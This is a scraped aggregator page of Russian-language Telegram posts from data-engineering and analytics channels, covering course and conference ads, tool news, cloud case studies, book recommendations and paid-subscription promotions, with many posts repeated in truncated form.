​​🔥 Хардкорный тест для дата инженеров 🔥🚀 Ответьте на 20 вопросов и проверьте, насколько вы готовы к обучению на курсе - «Data Engineer»💻 В новом потоке вас ждет актуализированная программа, живые вебинары с опытными экспертами и еще больше практики! В программе рассмотрим все процессы обработки данных — от загрузки из внешних источников до подготовки финальных витрин.️️🦾 После обучения вы сможете самостоятельно справляться даже со сложными задачами в сфере работы с данными. Освоите работу с Architecture, Data Lake, DWH, MLOps с практикой в Yandex Cloud.👉 ПРОЙТИ ТЕСТ https://otus.pw/39x0/💣 Пройдете тест, получите демо-ролик о занятиях на курсе и Welcome-скидку. 🔴 Также вам откроется доступ …

1 месяц, 1 неделя назад @ t.me
Привет всем! До начала нового сезона Podlodka Techlead Crew 🛠«Observability: monitoring, alerting, tracing» ещё осталось время. Мы перенесли старт на 17 октября. А значит вы еще можете успеть купить билет, чтобы узнать ответы на вопросы:⚡️Как справляться б
Привет всем! До начала нового сезона Podlodka Techlead Crew 🛠«Observability: monitoring, alerting, tracing» ещё осталось время. Мы перенесли старт на 17 октября. А значит вы еще можете успеть купить билет, чтобы узнать ответы на вопросы:⚡️Как справляться б

Привет всем! До начала нового сезона Podlodka Techlead Crew 🛠«Observability: monitoring, alerting, tracing» ещё осталось время. Мы перенесли старт на 17 октября. А значит вы еще можете успеть купить билет, чтобы узнать ответы на вопросы:⚡️Как справляться быстро и эффективно с ошибками в проде — советы от Михаила Дружинина из Datadog⚡️Как и зачем нужно измерять надежность системы и какие подходы для этого применять. Тайны раскроет Павел Лакосников из «Авито»⚡️Зачем нужны SRE-инженеры: почему возникла эта профессия, какие ее основные принципы и инструменты и чем они отличаются от DevOps-парадигмы. Примеры из практики Ганны Новиковой из Intergiro⚡️Как устроено SRE в разных компаниях — послушае…

1 месяц, 3 недели назад @ t.me
Конференция SmartData 2022 пройдет 17–18 октября онлайн и 29 октября в офлайне.Программа уже готова — вас ждет 31 доклад о работе с данными. Вот их основные темы:✔️ DBMS and Big Data Storage✔️ Architecture of Data Platforms✔️ Data Governance✔️ Data Process
Конференция SmartData 2022 пройдет 17–18 октября онлайн и 29 октября в офлайне.Программа уже готова — вас ждет 31 доклад о работе с данными. Вот их основные темы:✔️ DBMS and Big Data Storage✔️ Architecture of Data Platforms✔️ Data Governance✔️ Data Process Конференция SmartData 2022 пройдет 17–18 октября онлайн и 29 октября в офлайне.Программа уже готова — вас ждет 31 доклад о работе с данными. Вот их основные темы:✔️ DBMS and Big Data Storage✔️ Architecture of Data Platforms✔️ Data Governance✔️ Data Process

Конференция SmartData 2022 пройдет 17–18 октября онлайн и 29 октября в офлайне.Программа уже готова — вас ждет 31 доклад о работе с данными. Вот их основные темы:✔️ DBMS and Big Data Storage✔️ Architecture of Data Platforms✔️ Data Governance✔️ Data Processing ✔️ MLOps / DevOpsЕсли в это непростое время вам хочется на несколько часов отвлечься и побыть среди единомышленников, то приходите на SmartData. А промокод dataeng2022JRGpc даст скидку на билеты из категории «Для частных лиц».Подробности и билеты — smartdatacont.ruЕсли сомневаетесь, стоит ли идти на SmartData, то приходите на бесплатный онлайн-фестиваль TechTrain 2022 Autumn (https://bit.ly/3RwmkyZ). Он традиционно объединяет всех пред…

1 месяц, 3 недели назад @ t.me
Вышел релиз Airflow 2.4: https://bit.ly/3eUmC57Много всяких плюшек о которых подготовлю отдельный пост и обновлю контент курса 🎉
Вышел релиз Airflow 2.4: https://bit.ly/3eUmC57Много всяких плюшек о которых подготовлю отдельный пост и обновлю контент курса 🎉

Вышел релиз Airflow 2.4: https://bit.ly/3eUmC57Много всяких плюшек о которых подготовлю отдельный пост и обновлю контент курса 🎉

2 месяца, 1 неделя назад @ t.me
#article #ethereum Exporting the full history of Ethereum into S3https://medium.com/@tony.bryzgaloff/how-to-dump-full-ethereum-history-to-s3-296fb3ad175 (author: @bryzgaloff)What's inside:— BigQuery public datasets with Ethereum data: how to transfer to S3
#article #ethereum Exporting the full history of Ethereum into S3https://medium.com/@tony.bryzgaloff/how-to-dump-full-ethereum-history-to-s3-296fb3ad175 (author: @bryzgaloff)What's inside:— BigQuery public datasets with Ethereum data: how to transfer to S3

#article #ethereum Exporting the full history of Ethereum into S3https://medium.com/@tony.bryzgaloff/how-to-dump-full-ethereum-history-to-s3-296fb3ad175 (author: @bryzgaloff)What's inside:— BigQuery public datasets with Ethereum data: how to transfer to S3 quickly.— Alternative approach: exporting data from a public Ethereum node. No need to run your own node!— Processing uint256 with AWS Athena.— Processing realtime updates from Ethereum.— Best Data Engineering practices to process Ethereum data.A short summary inside 👇

2 месяца, 2 недели назад @ t.me
Инжиниринг Данных Инжиниринг Данных
последний пост 11 часов назад
Как вы думаете, почему SQL доминирует в аналитике и является самы популярным языком для работы с данными? Но вы можете со мной не согласиться, может быть это совсем не SQL. Я потом напишу интересную теорию, почему он популярный в следующем посте🤭
Как вы думаете, почему SQL доминирует в аналитике и является самы популярным языком для работы с данными? Но вы можете со мной не согласиться, может быть это совсем не SQL. Я потом напишу интересную теорию, почему он популярный в следующем посте🤭

Как вы думаете, почему SQL доминирует в аналитике и является самы популярным языком для работы с данными? Но вы можете со мной не согласиться, может быть это совсем не SQL. Я потом напишу интересную теорию, почему он популярный в следующем посте🤭

11 часов назад @ t.me
AWS поделились инновациями zero ETL future. Идея в том, что они улучшают интеграцию между своими продуктами. Есть база данных Aurora (Managed Postgres/MySQL), которая часто используется как back end для OLTP, и мы строим ETL, чтобы извлекать данные из исто
AWS поделились инновациями zero ETL future. Идея в том, что они улучшают интеграцию между своими продуктами. Есть база данных Aurora (Managed Postgres/MySQL), которая часто используется как back end для OLTP, и мы строим ETL, чтобы извлекать данные из исто

AWS поделились инновациями zero ETL future. Идея в том, что они улучшают интеграцию между своими продуктами. Есть база данных Aurora (Managed Postgres/MySQL), которая часто используется как back end для OLTP, и мы строим ETL, чтобы извлекать данные из источника, теперь можно будет сразу интегрировать OLTP базу в Redshift хранилище без создания data pipelines.Тоже самое и про Spark, если раньше нужно было отдельно создавать EMR+Spark, Glue job , то теперь можно сразу из Redshift использовать Spark.Но примерно такое же делают и другие вендоры, в Azure Synapse можно все делать в одном месте, в Snowflake есть Snowpark и тд.

22 часа назад @ t.me
Нашел презентацию, которую я показывал на собеседовании в SAP в Москве на позицию Sales Engineer (Pre sales) год 2012-2013 - "Научим слона танцевать"😂 Для меня вообще казалось быть pre sales это самая интересная вакансия, с одной стороны ты знаешь продукт,
Нашел презентацию, которую я показывал на собеседовании в SAP в Москве на позицию Sales Engineer (Pre sales) год 2012-2013 - "Научим слона танцевать"😂 Для меня вообще казалось быть pre sales это самая интересная вакансия, с одной стороны ты знаешь продукт, Нашел презентацию, которую я показывал на собеседовании в SAP в Москве на позицию Sales Engineer (Pre sales) год 2012-2013 - "Научим слона танцевать"😂 Для меня вообще казалось быть pre sales это самая интересная вакансия, с одной стороны ты знаешь продукт,

Нашел презентацию, которую я показывал на собеседовании в SAP в Москве на позицию Sales Engineer (Pre sales) год 2012-2013 - "Научим слона танцевать"😂 Для меня вообще казалось быть pre sales это самая интересная вакансия, с одной стороны ты знаешь продукт, индустрию, много путешествуешь, делаешь презентации и демо, посещаешь конференции и тренинги, а с другой стороны не сидишь на проектах. В презентации есть слайды про ROI BI, можно прям в свое резюме добавлять, только цифры поменять. Будете рассказывать как вы помогли компании сэкономить кучу денег))Но в итоге не договорились по зарплате. PS Я был очень горд своим креативом на последнем слайде про Кристофари. (первый клиент сбера).Кстати, …

1 день, 13 часов назад @ t.me
Приятная визуализация от Financial Times, если это действительно так. Напоминает фразу "Как сделать человеку хорошо - сделать плохо а потом как было". Как было уже не будет, но хоть так🫣
Приятная визуализация от Financial Times, если это действительно так.  Напоминает фразу "Как сделать человеку хорошо - сделать плохо а потом как было". Как было уже не будет, но хоть так🫣 Приятная визуализация от Financial Times, если это действительно так. Напоминает фразу "Как сделать человеку хорошо - сделать плохо а потом как было". Как было уже не будет, но хоть так🫣

Приятная визуализация от Financial Times, если это действительно так. Напоминает фразу "Как сделать человеку хорошо - сделать плохо а потом как было". Как было уже не будет, но хоть так🫣

2 дня, 18 часов назад @ t.me
Допустим вы уже более-менее опытный и у вас есть работы с данными, и самое время углубляться дальше. Я составил список книг, который помогут вам перейти на следующий уровень. Практически все книги у меня в ToDo листе. Теория:- Designing Data-Intensive Appl
Допустим вы уже более-менее опытный и у вас есть работы с данными, и самое время углубляться дальше. Я составил список книг, который помогут вам перейти на следующий уровень. Практически все книги у меня в ToDo листе. Теория:- Designing Data-Intensive Appl

Допустим вы уже более-менее опытный и у вас есть работы с данными, и самое время углубляться дальше. Я составил список книг, который помогут вам перейти на следующий уровень. Практически все книги у меня в ToDo листе. Теория:- Designing Data-Intensive Applications - классика жанра- The Missing README - небольшой набор полезных советов от бывалых- Database Internals - ну а как же без баз данных- Fundamentals of Software Architecture - не самое приятное чтение,- The Staff Engineer's Path - если вам интересно развиваться в этом направленииМенеджемент:- The Manager's Path- The First 90 Days, Updated and ExpandedПрактика (эти книги не достаточно прочитать, с этим надо работать каждый день, чтобы…

6 дней, 22 часа назад @ t.me
Если вы разработчик и у вас есть пара минут, порефлексируйте, пожалуйста, с нами о происходящем в небольшом опросе. Ваши ответы помогут крупному работодателю понять, где теперь открывать офисы и какая помощь и поддержка вам нужны.Пройти опрос#реклама
Если вы разработчик и у вас есть пара минут, порефлексируйте, пожалуйста, с нами о происходящем в небольшом опросе. Ваши ответы помогут крупному работодателю понять, где теперь открывать офисы и какая помощь и поддержка вам нужны.Пройти опрос#реклама

Если вы разработчик и у вас есть пара минут, порефлексируйте, пожалуйста, с нами о происходящем в небольшом опросе. Ваши ответы помогут крупному работодателю понять, где теперь открывать офисы и какая помощь и поддержка вам нужны.Пройти опрос#реклама

1 неделя назад @ t.me
Расскажу еще про один кейс. Задача: Создать аналитическое решение, точнее модернизировать существующее с использованием Azure облака. Основной источник данных телеметрия (логи JSON), которые скапливаются в Azure Storage Account в формате year/month/day/ho
Расскажу еще про один кейс. Задача: Создать аналитическое решение, точнее модернизировать существующее с использованием Azure облака. Основной источник данных телеметрия (логи JSON), которые скапливаются в Azure Storage Account в формате year/month/day/ho

Расскажу еще про один кейс. Задача: Создать аналитическое решение, точнее модернизировать существующее с использованием Azure облака. Основной источник данных телеметрия (логи JSON), которые скапливаются в Azure Storage Account в формате year/month/day/hour.Было: Был HDInsights + Hive (традиционный hadoop), это полный аналог AWS EMR + Hive, только в Azure. Hive читал JSON, преобразовывал его в плоскую таблицу и сохранял данные в формате Parquet. Все трансформации выполнялись с помощью Hive SQL. Это был так называемый Staging. Далее, на On-premise SQL Server создавались External Tables, что давало возможность использовать on-premise SSIS (ETL инструмент Microsoft) и грузить инкрементально да…

1 неделя назад @ t.me
Косметикой Faberlic пользуются 8 млн семей России. Компания входит в Топ-100 по версии журнала Women’s Wear Daily и выпускает 1500 товаров в год.За 10 лет в хранилище копилась информация из Oracle, 1C и MS SQL Server. Когда объём вырос до 7 Тб, а количеств
Косметикой Faberlic пользуются 8 млн семей России. Компания входит в Топ-100 по версии журнала Women’s Wear Daily и выпускает 1500 товаров в год.За 10 лет в хранилище копилась информация из Oracle, 1C и MS SQL Server. Когда объём вырос до 7 Тб, а количеств Косметикой Faberlic пользуются 8 млн семей России. Компания входит в Топ-100 по версии журнала Women’s Wear Daily и выпускает 1500 товаров в год.За 10 лет в хранилище копилась информация из Oracle, 1C и MS SQL Server. Когда объём вырос до 7 Тб, а количеств

Косметикой Faberlic пользуются 8 млн семей России. Компания входит в Топ-100 по версии журнала Women’s Wear Daily и выпускает 1500 товаров в год.За 10 лет в хранилище копилась информация из Oracle, 1C и MS SQL Server. Когда объём вырос до 7 Тб, а количество пользователей — до 1 млн, обработка стала занимать много времени.Что хотели?🔹 ускорить загрузку;🔹 сделать базу гибкой;🔹 сформировать команду поддержки;🔹 расширить функционал.Что сделали?🔵 создали вычислительный контур в Yandex Cloud;🔵 провели тестовую загрузку;🔵 запустили нагрузочное тестирование;🔵 оптимизировали и переключили продакшн;🔵 усовершенствовали хранилище.Результат⚡️ оптимальная скорость загрузки;⚡️ комфортная работа с большим …

1 неделя, 1 день назад @ t.me
Конец года близок, успели все запланированное?
Конец года близок, успели все запланированное?

Конец года близок, успели все запланированное?

1 неделя, 1 день назад @ t.me
MLOps в облаке: практика с MLflow и JupyterHub в VK Cloud⏰ Когда: 29 ноября, 17:00 (мск)📍 РегистрацияРегистрируйтесь на вебинар «MLOps в облаке: практика с MLflow и JupyterHub в VK Cloud».MLOps помогает построить прозрачный и эффективный процесс работы с M
MLOps в облаке: практика с MLflow и JupyterHub в VK Cloud⏰ Когда: 29 ноября, 17:00 (мск)📍 РегистрацияРегистрируйтесь на вебинар «MLOps в облаке: практика с MLflow и JupyterHub в VK Cloud».MLOps помогает построить прозрачный и эффективный процесс работы с M

MLOps в облаке: практика с MLflow и JupyterHub в VK Cloud⏰ Когда: 29 ноября, 17:00 (мск)📍 РегистрацияРегистрируйтесь на вебинар «MLOps в облаке: практика с MLflow и JupyterHub в VK Cloud».MLOps помогает построить прозрачный и эффективный процесс работы с ML-решениями в компаниях, где в разработке, тестировании, развертывании и поддержке ML-моделей участвуют разнопрофильные специалисты. Вы узнаете, как сочетание Cloud-Native- и MLOps-подходов ускоряет процессы на всех этапах работы с ML-моделями. Расскажем, как с помощью JupyterHub и MLflow проводить эксперименты, организовывать трекинг, загружать и применять модели из центрального реестра MLflow на примере Cloud ML Platform.В программе:🔹 Вв…

1 неделя, 2 дня назад @ t.me
Еще одна статья и визуализация - на это раз тема касается Performance Review. Я думаю каждый через это проходил. 10,000 Google Employees Could Be Rated as Low Performers, то есть bigdata посчитает кому уйти, а кому нет. Обычно performance review очень силь
Еще одна статья и визуализация - на это раз тема касается Performance Review. Я думаю каждый через это проходил. 10,000 Google Employees Could Be Rated as Low Performers, то есть bigdata посчитает кому уйти, а кому нет. Обычно performance review очень силь

Еще одна статья и визуализация - на это раз тема касается Performance Review. Я думаю каждый через это проходил. 10,000 Google Employees Could Be Rated as Low Performers, то есть bigdata посчитает кому уйти, а кому нет. Обычно performance review очень сильно зависит от отзывов ваших коллег и менеджеров, и менеджеров вашего менеджера, если вы знаете как их сделать "счастливыми", то врят ли вы попадете в low performers, а если вы любите показывать характер, спорить, то тут уже как повезет☺️ Опять же как и все ранее в канале, это моя точка зрения, у вас может быть другая, поэтому welcome в комменты.Я тут понял в чем самая большая проблема всех этих увольнений - это то, что у людей зарплата бол…

1 неделя, 2 дня назад @ t.me
Несколько графиков "пирожков" рассказывают нам об опасности визы H1B. FAANG компании имеют самую большую квоту на рабочие визы и соответственно при увольнении людей, специалисты на рабочей визе находятся в группе риска. При массовых сокращения компании нам
Несколько графиков "пирожков" рассказывают нам об опасности визы H1B. FAANG компании имеют самую большую квоту на рабочие визы и соответственно при увольнении людей, специалисты на рабочей визе находятся в группе риска. При массовых сокращения компании нам Несколько графиков "пирожков" рассказывают нам об опасности визы H1B. FAANG компании имеют самую большую квоту на рабочие визы и соответственно при увольнении людей, специалисты на рабочей визе находятся в группе риска. При массовых сокращения компании нам

Несколько графиков "пирожков" рассказывают нам об опасности визы H1B. FAANG компании имеют самую большую квоту на рабочие визы и соответственно при увольнении людей, специалисты на рабочей визе находятся в группе риска. При массовых сокращения компании нам не сообщают о проценте уволенных с H1B. Для меня всегда был важный вопрос иммиграции. В лоб обычно существуют 2 варианта:1) Быстро и не предсказуемо - рабочая виза, которая вас ограничивает и может ничего не гарантировать2) Долго - классическая иммиграция как в Канаде и Австралии. Вы получаете вид на жительство, бенефиты и уже на месте думаете, что делать.Кроме этих 2 вариантов существует еще много разных вариантов, например по учебной ви…

1 неделя, 2 дня назад @ t.me
А вы еще ждете?🦧
А вы еще ждете?🦧 А вы еще ждете?🦧

А вы еще ждете?🦧

1 неделя, 3 дня назад @ t.me
Всем привет! Несколько новостей! 🦆1️⃣ Роман @rspon завел чат по datalearn https://t.me/datalearn_chat (присоединяйтесь, инфа там в закрепе) в замен слака, так как:1) слак все равно удаляет всю историю2) часто нужен VPNВ целом Slack хороший, так как это неб
Всем привет! Несколько новостей! 🦆1️⃣ Роман @rspon завел чат по datalearn https://t.me/datalearn_chat (присоединяйтесь, инфа там в закрепе) в замен слака, так как:1) слак все равно удаляет всю историю2) часто нужен VPNВ целом Slack хороший, так как это неб

Всем привет! Несколько новостей! 🦆1️⃣ Роман @rspon завел чат по datalearn https://t.me/datalearn_chat (присоединяйтесь, инфа там в закрепе) в замен слака, так как:1) слак все равно удаляет всю историю2) часто нужен VPNВ целом Slack хороший, так как это небольшая строчка в резюме, мелкая, но полезная. Так что опционально вы можете попробовать туда пробиться через чатик, но для учебы главное это гит учебник.В чате можно домашку кидать2️⃣ Я заметил, что уже много людей из нашего сообщества обитают в Ванкувере, а значит можно сделать митап. Я долго думал как это сделать бесплатно и хорошо, и придумал. Я же лид по Табло группе местной, и офис SalesForce в Ванкувере в моем распоряжении для митапа…

1 неделя, 4 дня назад @ t.me
Расскажу про один кейс на картинке. Условно назовем его Embedded BI. Задача простая, у нас есть хранилище данных, которые наполняется данными об использовании нашего продукта. Теперь, мы хотим для наших клиентов показывать метрики внутри их личного кабинет
Расскажу про один кейс на картинке. Условно назовем его Embedded BI. Задача простая, у нас есть хранилище данных, которые наполняется данными об использовании нашего продукта. Теперь, мы хотим для наших клиентов показывать метрики внутри их личного кабинет

Расскажу про один кейс на картинке. Условно назовем его Embedded BI. Задача простая, у нас есть хранилище данных, которые наполняется данными об использовании нашего продукта. Теперь, мы хотим для наших клиентов показывать метрики внутри их личного кабинета. Не можем же мы, для каждого клиента купить лицензию Tableau/Looker. Точнее можем, и вам с удовольствием продадут))В нашем случае, мы лучше найдем open source продукт, который позволит настроить графики и аналитику и легко интегрируется в web framework. И это headless BI (тоже новый термин для меня) - Cube.js. Штука крутая и можно создавать очень красивые графики. Вообще можно использовать как инструмент красивых управленческих дашбордов…

1 неделя, 5 дней назад @ t.me
Left Join Left Join
последний пост 7 часов назад
Аватарка точка ру: версия 2022📱Вы не могли не заметить вирусный тренд (особенно, в инстаграме, через одну историю)) на сгенерированные AI аватарки. Давайте разбираться, что случилось!Что случилось?Та самая Prisma Labs на днях выпустила обновление Magic Ava
Аватарка точка ру: версия 2022📱Вы не могли не заметить вирусный тренд (особенно, в инстаграме, через одну историю)) на сгенерированные AI аватарки. Давайте разбираться, что случилось!Что случилось?Та самая Prisma Labs на днях выпустила обновление Magic Ava Аватарка точка ру: версия 2022📱Вы не могли не заметить вирусный тренд (особенно, в инстаграме, через одну историю)) на сгенерированные AI аватарки. Давайте разбираться, что случилось!Что случилось?Та самая Prisma Labs на днях выпустила обновление Magic Ava

Аватарка точка ру: версия 2022📱Вы не могли не заметить вирусный тренд (особенно, в инстаграме, через одну историю)) на сгенерированные AI аватарки. Давайте разбираться, что случилось!Что случилось?Та самая Prisma Labs на днях выпустила обновление Magic Avatars для своего фото редактора Lensa, чем несказанно порадовала многочисленных фанатов игр, фэнтези, приключений и научпопа во всех их креативных проявлениях, а также просто любителей менять аватарки в соцсетях раз в месяц.Как это работает?Карманный аналог Stable Diffusion удобен тем, что имеет интерфейс фото редактора и не требует дополнительных действий от пользователя кроме выбора фотографий для генерации аватара. Разработчики заявляют,…

7 часов назад @ t.me
Дата инжиниринг – одна из самых сложных и востребованных профессий в области данных. В новом выпуске подкаста Data Heroes мы поговорим с инженерами данных и наконец-то узнаем, чем именно они занимаются 🚀 В этом эпизоде мы поговорим о важности роли дата ин
Дата инжиниринг – одна из самых сложных и востребованных профессий в области данных. В новом выпуске подкаста Data Heroes мы поговорим с инженерами данных и наконец-то узнаем, чем именно они занимаются 🚀  В этом эпизоде мы поговорим о важности роли дата ин Дата инжиниринг – одна из самых сложных и востребованных профессий в области данных. В новом выпуске подкаста Data Heroes мы поговорим с инженерами данных и наконец-то узнаем, чем именно они занимаются 🚀 В этом эпизоде мы поговорим о важности роли дата ин

Дата инжиниринг – одна из самых сложных и востребованных профессий в области данных. В новом выпуске подкаста Data Heroes мы поговорим с инженерами данных и наконец-то узнаем, чем именно они занимаются 🚀 В этом эпизоде мы поговорим о важности роли дата инженера в бизнес-процессах, а также сложностях и нюансах специализации. Наши эксперты поделятся своим бесценным опытом и расскажут о: ▪️Своем извилистом пути в профессию ▪️Современном дата инжиниринге и о том, как он отличается от компании к компании ▪️Сходствах и различиях в ролях аналитика и дата инженера и о том, когда эти роли можно совмещать ▪️Важности софт-скиллов для дата инженера БОНУС: Как и всегда, наши спикеры дадут полезные реком…

1 день, 7 часов назад @ t.me
Парень в твиттере совершенно залипательно визуализировал механику сборки кубика рубика 🤯
Парень в твиттере совершенно залипательно визуализировал механику сборки кубика рубика 🤯

Парень в твиттере совершенно залипательно визуализировал механику сборки кубика рубика 🤯

2 дня, 2 часа назад @ t.me
Главное BI-событие декабря — Yandex DataLens Festival!5-16 декабряФестиваль — это 2 недели видеоуроков и полезных материалов от экспертов, которые помогут:🔹разобраться в тонкостях и нюансах работы с DataLens;🔹сравнить сервис с другими решениями;🔹спланирова
Главное BI-событие декабря — Yandex DataLens Festival!5-16 декабряФестиваль — это 2 недели видеоуроков и полезных материалов от экспертов, которые помогут:🔹разобраться в тонкостях и нюансах работы с DataLens;🔹сравнить сервис с другими решениями;🔹спланирова Главное BI-событие декабря — Yandex DataLens Festival!5-16 декабряФестиваль — это 2 недели видеоуроков и полезных материалов от экспертов, которые помогут:🔹разобраться в тонкостях и нюансах работы с DataLens;🔹сравнить сервис с другими решениями;🔹спланирова

Главное BI-событие декабря — Yandex DataLens Festival!5-16 декабряФестиваль — это 2 недели видеоуроков и полезных материалов от экспертов, которые помогут:🔹разобраться в тонкостях и нюансах работы с DataLens;🔹сравнить сервис с другими решениями;🔹спланировать переезд на новую BI‑систему как отдельных дашбордов, так и целых аналитических систем.Помимо этого вас ждут живые Q&A-сессии, кейсы реальных проектов, конкурс и сюрпризы для победителей.Получите знания для построения полноценной системы бизнес-аналитики и прокачайте свои скиллы по работе с дашбордами.Участие бесплатное, нужно только ➡️ зарегистрироваться#реклама

2 дня, 7 часов назад @ t.me
▫️ Комьюнити Cyprus Data набирает обороты▫️Ребята, привет! Я живу на Кипре уже 7 месяцев и за это время многое успел сделать: зарегистрировал компанию, перенес сюда все бизнес-операции, поучаствовал в турнире по теннису и создал коммьюнити @cyprusdata.Боль
▫️ Комьюнити Cyprus Data набирает обороты▫️Ребята, привет! Я живу на Кипре уже 7 месяцев и за это время многое успел сделать: зарегистрировал компанию, перенес сюда все бизнес-операции, поучаствовал в турнире по теннису и создал коммьюнити @cyprusdata.Боль

▫️ Комьюнити Cyprus Data набирает обороты▫️Ребята, привет! Я живу на Кипре уже 7 месяцев и за это время многое успел сделать: зарегистрировал компанию, перенес сюда все бизнес-операции, поучаствовал в турнире по теннису и создал коммьюнити @cyprusdata.Больше всего хочется рассказать о последнем: чудесным образом удалось создать невероятно крутейшее ламповое коммьюнити с офлайн-митапами.Как все развивалось?Первый митап мы провели в баре и получился мощный нетворкинг, на который пришло человек 30. Однако, были желающие рассказать о своих проектах и вторую встречу мы уже решили организовать посерьезнее. Ребята из Exness помогли нам с площадкой, организацией и различными угощениями, а спикеры с…

3 дня, 6 часов назад @ t.me
Друзья, через 3 часа, ровно в полночь по Москве, карета превратится в тыкву 🎃Успевайте оплатить подписку со скидкой и подключайтесь к нашему каналу FULL JOIN! ⬆️
Друзья, через 3 часа, ровно в полночь по Москве, карета превратится в тыкву 🎃Успевайте оплатить подписку со скидкой и подключайтесь к нашему каналу FULL JOIN! ⬆️

Друзья, через 3 часа, ровно в полночь по Москве, карета превратится в тыкву 🎃Успевайте оплатить подписку со скидкой и подключайтесь к нашему каналу FULL JOIN! ⬆️

5 дней, 22 часа назад @ t.me
LEFT JOIN pinned «Tap the button below to get paid access to "FULL JOIN".​»
LEFT JOIN pinned «Tap the button below to get paid access to "FULL JOIN".​»

LEFT JOIN pinned «Tap the button below to get paid access to "FULL JOIN".​»

6 дней назад @ t.me
Tap the button below to get paid access to "FULL JOIN".​
Tap the button below to get paid access to "FULL JOIN".​

Tap the button below to get paid access to "FULL JOIN".​

6 дней, 8 часов назад @ t.me
Мы не могли отказать себе (и вам!) в возможности провести черную пятницу и приобрести доступ к нашему каналу со скидкой…Поэтому сегодня – 25 ноября – вы сможете приобрести подписку FULL JOIN на месяц за 245₽. Это идеальная возможность для тех, кто не мог р
Мы не могли отказать себе (и вам!) в возможности провести черную пятницу и приобрести доступ к нашему каналу со скидкой…Поэтому сегодня – 25 ноября – вы сможете приобрести подписку FULL JOIN на месяц за 245₽. Это идеальная возможность для тех, кто не мог р Мы не могли отказать себе (и вам!) в возможности провести черную пятницу и приобрести доступ к нашему каналу со скидкой…Поэтому сегодня – 25 ноября – вы сможете приобрести подписку FULL JOIN на месяц за 245₽. Это идеальная возможность для тех, кто не мог р

Мы не могли отказать себе (и вам!) в возможности провести черную пятницу и приобрести доступ к нашему каналу со скидкой…Поэтому сегодня – 25 ноября – вы сможете приобрести подписку FULL JOIN на месяц за 245₽. Это идеальная возможность для тех, кто не мог решиться и думал, стоит ли оно того – теперь точно стоит! 🎃По цене чашки каппучино в Петербурге вы сможете приобрести доступ к нескольким превосходным ноябрьским материалам по SQL, чату с экспертом по анализу данных (мной) и многому другому (не раскрываем всех карт, но вам понравится!). Доступ по сниженной цене останется на будущие месяцы у всех, кто купит подписку и решит её продлить 🥳P.S. Дайте знать, если кому-то нужна ссылка в евро и вы…

6 дней, 8 часов назад @ t.me
Это вам не «Привет, Сири!»Разработчик и предприниматель из Парагвая Роберто Дам, решил поставить над собой эксперимент, записывая свою речь 24x7 и обрабатывая ее с помощью AI.Как?Используя бесплатную систему автоматического распознавания речи Whisper, выпу
Это вам не «Привет, Сири!»Разработчик и предприниматель из Парагвая Роберто Дам, решил поставить над собой эксперимент, записывая свою речь 24x7 и обрабатывая ее с помощью AI.Как?Используя бесплатную систему автоматического распознавания речи Whisper, выпу Это вам не «Привет, Сири!»Разработчик и предприниматель из Парагвая Роберто Дам, решил поставить над собой эксперимент, записывая свою речь 24x7 и обрабатывая ее с помощью AI.Как?Используя бесплатную систему автоматического распознавания речи Whisper, выпу

Это вам не «Привет, Сири!»Разработчик и предприниматель из Парагвая Роберто Дам, решил поставить над собой эксперимент, записывая свою речь 24x7 и обрабатывая ее с помощью AI.Как?Используя бесплатную систему автоматического распознавания речи Whisper, выпущенную OpenAI, Роберто Дам создал для себя универсального ассистента. Ассистент записывает устные команды, которые обозначены ключевыми фразами, и, в конце дня, представляет все данные о себе в двух форматах: дневник и дашборд (примеры закинули в комментарии). Одно из преимуществ его подхода состоит в том, что, в отличие от Google ассистента, персональные данные, разговоры и контекст не будут храниться у третьих лиц, а также будут обработа…

1 неделя назад @ t.me
Мы с Колей сделали штуку! Очень давно хотела поработать с данными песен и сделать что-то типа проекта про сложность текстов от The Pudding. Коля (Left Join) помог собрать и проанализировать данные, а дальше уже датавииииз 🙈⚡️Так что представляем вам анализ
Мы с Колей сделали штуку! Очень давно хотела поработать с данными песен и сделать что-то типа проекта про сложность текстов от The Pudding. Коля (Left Join) помог собрать и проанализировать данные, а дальше уже датавииииз 🙈⚡️Так что представляем вам анализ Мы с Колей сделали штуку! Очень давно хотела поработать с данными песен и сделать что-то типа проекта про сложность текстов от The Pudding. Коля (Left Join) помог собрать и проанализировать данные, а дальше уже датавииииз 🙈⚡️Так что представляем вам анализ

Мы с Колей сделали штуку! Очень давно хотела поработать с данными песен и сделать что-то типа проекта про сложность текстов от The Pudding. Коля (Left Join) помог собрать и проанализировать данные, а дальше уже датавииииз 🙈⚡️Так что представляем вам анализ простоты текстов русских песен.Русские песни, как оказалось, тоже упрощаются со временем. А шансон и рок – жанры с самыми “сложными” песнями. По ссылке можно посмотреть, какие жанры содержат в себе более простые песни, проанализировать песни любимого исполнителя и поисследовать самые сложные и простые песни десятилетий.Тексты брали с сайта txtsong, а метрику простоты песен можно посмотреть двумя способами: через уникальные строчки в песне…

1 неделя, 1 день назад @ t.me
@nastengraph сделала отличный дашборд по данным, о которых мы уже рассказывали чуть раньше.
@nastengraph сделала отличный дашборд по данным, о которых мы уже рассказывали чуть раньше.

@nastengraph сделала отличный дашборд по данным, о которых мы уже рассказывали чуть раньше.

1 неделя, 1 день назад @ t.me
Первые реакции и отзывы на платный контент в FULL JOIN 😎
Первые реакции и отзывы на платный контент в FULL JOIN 😎 Первые реакции и отзывы на платный контент в FULL JOIN 😎

Первые реакции и отзывы на платный контент в FULL JOIN 😎

1 неделя, 2 дня назад @ t.me
PivotTableJS – библиотека для быстрого исследования данных в Jupyter Notebook. Все с drag-n-drop, дата саентисты советуют.
PivotTableJS – библиотека для быстрого исследования данных в Jupyter Notebook. Все с drag-n-drop, дата саентисты советуют.

PivotTableJS – библиотека для быстрого исследования данных в Jupyter Notebook. Все с drag-n-drop, дата саентисты советуют.

1 неделя, 2 дня назад @ t.me
FULL JOIN – закрытый канал для полного погружения в аналитику данныхДрузья, мы решили запустить новый формат – профессиональное комьюнити для тех, кому хочется больше экспертного контента от меня лично и команды моих лучших аналитиков. В отличие от этого п
FULL JOIN – закрытый канал для полного погружения в аналитику данныхДрузья, мы решили запустить новый формат – профессиональное комьюнити для тех, кому хочется больше экспертного контента от меня лично и команды моих лучших аналитиков. В отличие от этого п FULL JOIN – закрытый канал для полного погружения в аналитику данныхДрузья, мы решили запустить новый формат – профессиональное комьюнити для тех, кому хочется больше экспертного контента от меня лично и команды моих лучших аналитиков. В отличие от этого п

